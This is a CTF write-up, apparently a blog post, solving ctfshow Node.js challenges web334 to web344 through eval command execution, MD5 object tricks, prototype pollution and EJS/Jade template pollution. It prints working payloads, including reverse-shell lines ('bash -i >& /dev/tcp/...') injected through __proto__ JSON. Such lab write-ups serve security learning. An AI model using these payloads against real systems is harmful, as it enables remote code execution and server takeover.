ctfshow-nodejs

web334

现在附件下载源码

//user.js
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

用该用户名和账号登录显示失败,我们看login.js,关键代码如下

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

这里要求我们输入的name不能等于CTFSHOW,并且要求我们输入的name全部转为大写后等于CTFSHOW,密码就输入他给的就行,之后该函数返回true,在下列调用该函数时,由于值为true,便成功返回flag

web335

先查看源码发现,要求我们给get传参给eval

参考了大佬的wp,发现要给eval传参字母时,页面回显404,传参数字则会回显,因此猜测后端语句为:eval=console.log(value)

因此eval可以行js代码,我们便利用eval进行rce,这里先看点知识

具体参考:执行js系统命令的模块

利用child_process包来构造payload,这是node.js中用来执行系统命令的一个包,其中有多个方法可以用来利用

利用child_process模块执行命令

1.exec与execSync

这是child_process模块里面最简单的函数,作用就是执行一个固定的系统命令

execSync是exec的同步版本,不过无论是execSync还是exec,得到的结果都是字符串或者Buffer对象,一般需要进一步处理。

2.spawn与spawnSync

child_process模块中所有函数都是基于spawn和spawnSync函数的来实现的,换句话来说,spawn和spawnSync函数的配置是最完全的,其它函数都是对其做了封装和修改

也就是说,通过以上命令执行函数,去读取文件,直接上payload:

//execSync
?eval=require('child_process').execSync('ls')  //先查看当前目录的文件
?eval=require('child_process').execSync('ls').toString();

//spawnSync
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;   //读取该文件
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;

//IIFE(立即调用函数表达式),js在遇到它之后会立即执行函数
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');

 如下图,我们查找fl00g.txt

 web336

法一、该题把exec与load给ban了,用上题的spawnSync即可

?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')//可以看到文件源码

//该文件路径由后面的函数实现::__filename :返回当前模块文件的绝对路径

通过上述函数我们可以查到如下图的文件路径

 

法二、如同ssti一般绕过

require('child_process')['e'%2b'xecSync']('cat f*').toString()

法三、经过学习,发现fs模块,还有列出目录中的文件的方法。

//列出当前目录下的文件
require('fs').readdirSync('./')

payload:require('fs').readFileSync('fl001g.txt','utf-8')

web337

查看源码,发现如果a,b都存在,且a和b的长度相等,但a和b的值不相等,同时a和b都加上flag之后的md5相等,才能输出flag

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

但这里md5是强比较,不能用0e开头来绕过

看到这里我想用PHP的办法即:?a[]=1&b[]=1来绕过,虽然结果正确,但参考了wp发现

//cv yu师傅的代码
a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

上述语句输出后,显然是相等的

构造如下payload:

a[x]=1&b[x]=2
b[]=1&a[]=1

注意中括号里一定不要为数字

a={'x':'1'}   //数据类型为对象,并非数组
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx}

也就是说输入对象是两个 ”对象“ 类型时,在经过加法运算后的值是一样的(md5后也是一样的)

web338

该题以及之后都涉及到了原型链污染,那么我们先来了解一下什么是原型链污染

原型链:原型链是实现继承的主要方法。其基本思想是利用原型让一个引用类型继承另一个引用类
型的属性和方法。每个构造函数都有一个prototype属性,指向原型对象。原型对象都包含一个指向构造
函数的指针(constructor)。把构造函数的prototype属性修改成另一个构造函数的实例,此时原型对
象就将包含指向另一个原型的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立,
如此层层递进,就构成了实例与原型的链条。这就是原型链的概念。

当然上述太费脑子,总结一下就是:

1.每个构造函数(constructor)都有一个原型对象(prototype)

2.对象的__proto__属性,指向类的原型对象prototype

3.JavaScript使用prototype链实现继承机制

//原型链:比如你现在有一个实例化的对象,你可以通过该对象指向其类的原生对象,如果可以的话,该原生对象也可以继续指向它的原生对象,以此类推,像套娃一样形成一条链子
比如我们有一个Foo类,那我们可以通过Foo.prototype来访问Foo类型原型,但Foo实例化出来的类是不能通过prototype访问的。

这时候,就该__proto__登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype

//所以,总结一下:

//prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
//一个对象的__proto__属性,指向这个对象所在的类的prototype属性

而原型链污染的由来:foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?

简单来说,就是当原型对象被修改时,对应的所有实例化对象都会被影响。
通过篡改原型链,使得原本不应存在的属性或方法被添加到对象中,从而对对象产生意想不到的影
响。

如何进行原型链污染:

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

具体可参考:Node.js 常见漏洞学习与总结 - 先知社区

深入理解 JavaScript Prototype 污染攻击 | 离别歌

//login.js
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

//common.js
function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]   //该处可改变数组的值,造成原型链污染
        }
    }
  }


如上图当secert的ctfshow属性等于36dboy则输出flag

细细看发现secert与user属于同一个原型类的实例化对象,而copy函数(类似于常见的merge函数)对secert进行了处理,并且该函数存在原型链污染

该copy函数第一个参数是user,第二个参数是请求体就是用户输入的参数,我们直接抓包修改post(值得注意的是该包是json解析的,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”)

 web339

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

这题和上一题的不同之处在于,这里比较的是ctfshow的值与flag的值,但显然我们不晓得flag是什么,因此这个点无法利用,参考大佬的wp,终究还是看不懂了

这里多了个api.js文件,但如下代码,可疑处为query

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

这里注意其中Function(query)(query)是可以执行任意js代码的,下面分析一下

Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。

而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。

而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是query,那么他就会自动去Object寻找值并返回。

所以我们只要让Object.prototype下面的query的值为我们想要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行。

这里直接借用paylaod吧..

最好用vps或者用花生壳反弹shell,flag在/app/routes/login.js中payload:post传:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/端口 0>&1\"')"}}

bp抓包传入payload

 在此之前先开启监听端口

传入payload之后,可以删了payload进行post访问api即可,随后出现上面kali的连接成功的提示

 ls查看文件目录,随后访问flag在/app/routes/login.js

cat得到flag

web340

与上一题相似,但需要向上污染两级,这厮因为

userinfo 的原型不是 Object 对象, userinfo.__proto__.__proto__ 才是 Object 对象

污染一级的话,user是查找不到我们构造的query的 user.query不可控

payload如下:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"')"}}}

web341

这里发现没有api.js,那么污染query参数便行不通了

参考佬的,这道题开启了ejs渲染,ejs打原型链(原理没搞懂,日后拜读)

参考:XNUCA2019 Hardjs题解 从原型链污染到RCE - 先知社区

直接用现成payload:

{"username":"a","password":"a","__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'); //"}}}

之后随便访问一个路由,建议多点几下send(我是这样的),这样便会成功连上,之后输入env查看环境变量,里面有flag

web342-343

又高深了,涉及到jade原型链污染:参考再探 JavaScript 原型链污染到 RCE - 先知社区

依旧日后去拜读

payload:

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

找flag依旧是env(这里我没有登录页面,不知为何,可能是我没找到?不演示了)

web344(过滤逗号绕过

如下图可见代码将逗号,以及逗号的url编码过滤了,因此参考佬的用 & 绕过

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

payload:

?query={"name":"admin","password":"ctfshow","isVIP":true}  //本应该传入
 
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}  //绕过的

nodejs中会把这三部分拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式

参考:CTFSHOW nodejs篇_yu22x的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值